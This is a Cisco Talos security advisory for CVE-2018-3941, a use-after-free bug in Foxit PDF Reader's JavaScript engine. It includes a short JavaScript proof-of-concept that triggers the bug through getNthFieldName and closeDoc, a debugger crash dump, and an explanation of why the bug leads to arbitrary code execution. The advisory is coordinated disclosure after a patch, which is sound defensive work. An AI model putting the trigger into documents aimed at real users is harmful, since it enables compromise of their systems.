CVE-2018-3941: TALOS-2018-0608 || Cisco Talos Intelligence Group

Summary

An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s Foxit PDF Reader version 9.1.0.5096. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Software Foxit PDF Reader 9.1.0.5096.

Product URLs

https://www.foxitsoftware.com/products/pdf-reader/

CVSSv3 Score

8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use-after-free

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a large user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.

When executing embedded JavaScript code, a document can be closed, which essentially frees a lot of used objects, but the JavaScript can continue to execute. Invoking a method which keeps a stale reference to a now-freed object can lead to a use-after-free condition, which can be abused to execute arbitrary code.

This particular vulnerability lies in invoking the getNthFieldName method of the active document with a crafted object as argument, which can trigger a use-after-free condition, like in the following code:

function main() {
var a = {};

a.toString = f;
app.activeDocs[0].getNthFieldName(a);
}

function f() {
app.activeDocs[0].closeDoc();
}

main();

In the above code, we create an object a and overload its toString method to be f. Then, when getNthFieldName is invoked, toString of the first argument is called, effectivelly closing the document and freeing a number of objects. When getNthFieldName continues execution, it reuses a stale reference of a freed object causing a crash.

Opening this proof-of-concept PDF document in Foxit Reader with PageHeap enabled results in the following crash:

(140c.9e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=80000000 ebx=80000000 ecx=100aeda8 edx=00000056 esi=0024e738 edi=125a8ef0
eip=00a31ab7 esp=0024e698 ebp=0024e6b8 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210293
FoxitReader!CryptVerifyMessageSignature+0x6a207:
00a31ab7 8b11            mov     edx,dword ptr [ecx]  ds:0023:100aeda8=????????
0:000> !heap -p -a ecx
    address 100aeda8 found in
    _DPH_HEAP_ROOT @ 74c1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   100e1c30:         100ae000             2000
    6a6290b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    774969cc ntdll!RtlDebugFreeHeap+0x0000002f
    77459e07 ntdll!RtlpFreeHeap+0x0000005d
    774263a6 ntdll!RtlFreeHeap+0x00000142
    7565c614 kernel32!HeapFree+0x00000014
    01e6df1b FoxitReader!CryptVerifyMessageSignature+0x014a666b
    003608bf FoxitReader+0x000d08bf
    003628a8 FoxitReader+0x000d28a8
    004a965e FoxitReader+0x0021965e
    004a942b FoxitReader+0x0021942b
    004b842a FoxitReader+0x0022842a
    004a2fd7 FoxitReader+0x00212fd7
    004a2df8 FoxitReader+0x00212df8
    01cc51ec FoxitReader!CryptVerifyMessageSignature+0x012fd93c
    01cc90ef FoxitReader!CryptVerifyMessageSignature+0x0130183f
    01cc917e FoxitReader!CryptVerifyMessageSignature+0x013018ce
    7724c4b7 USER32!InternalCallWinProc+0x00000023
    7724c5b7 USER32!UserCallWinProcCheckWow+0x0000014b
    77245264 USER32!SendMessageWorker+0x000004d0
    77245552 USER32!SendMessageW+0x0000007c
    004a09f5 FoxitReader+0x002109f5
    01ccae65 FoxitReader!CryptVerifyMessageSignature+0x013035b5
    01cc51ec FoxitReader!CryptVerifyMessageSignature+0x012fd93c
    01cc90ef FoxitReader!CryptVerifyMessageSignature+0x0130183f
    01cc917e FoxitReader!CryptVerifyMessageSignature+0x013018ce
    7724c4b7 USER32!InternalCallWinProc+0x00000023
    7724c5b7 USER32!UserCallWinProcCheckWow+0x0000014b
    77245264 USER32!SendMessageWorker+0x000004d0
    77245552 USER32!SendMessageW+0x0000007c
    003cbee7 FoxitReader+0x0013bee7
    00a3373e FoxitReader!CryptVerifyMessageSignature+0x0006be8e
    00a419e9 FoxitReader!CryptVerifyMessageSignature+0x0007a139

 
0:000> u
FoxitReader!CryptVerifyMessageSignature+0x6a207:
00a31ab7 8b11            mov     edx,dword ptr [ecx]
00a31ab9 8b8258010000    mov     eax,dword ptr [edx+158h]
00a31abf ffd0            call    eax
00a31ac1 8b10            mov     edx,dword ptr [eax]
00a31ac3 8bc8            mov     ecx,eax
00a31ac5 8b4208          mov     eax,dword ptr [edx+8]
00a31ac8 ffd0            call    eax
00a31aca 6aff            push    0FFFFFFFFh
0:000> k 4
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0024e6b8 00a422e9 FoxitReader!CryptVerifyMessageSignature+0x6a207
01 0024e714 00611578 FoxitReader!CryptVerifyMessageSignature+0x7aa39
02 0024e75c 01b19b2e FoxitReader+0x381578
03 0024e790 01b11946 FoxitReader!CryptVerifyMessageSignature+0x115227e

Analyzing the heap state clearly shows that ecx points into an unallocated freed memory region. And if we take a look at the code immediately following the point of crash, we can see edx being used as a vtable pointer, ultimately leading to call instruction with controllable operand in eax. Since the contents of memory pointed to by ecx can easily be controlled, this leads to relatively straight forward conditions for arbitrary code execution.

Timeline

2018-06-05 - Vendor Disclosure
2018-09-28 - Vendor patched
2018-10-01 - Public Release

Discovered by Aleksandar Nikolic of Cisco Talos.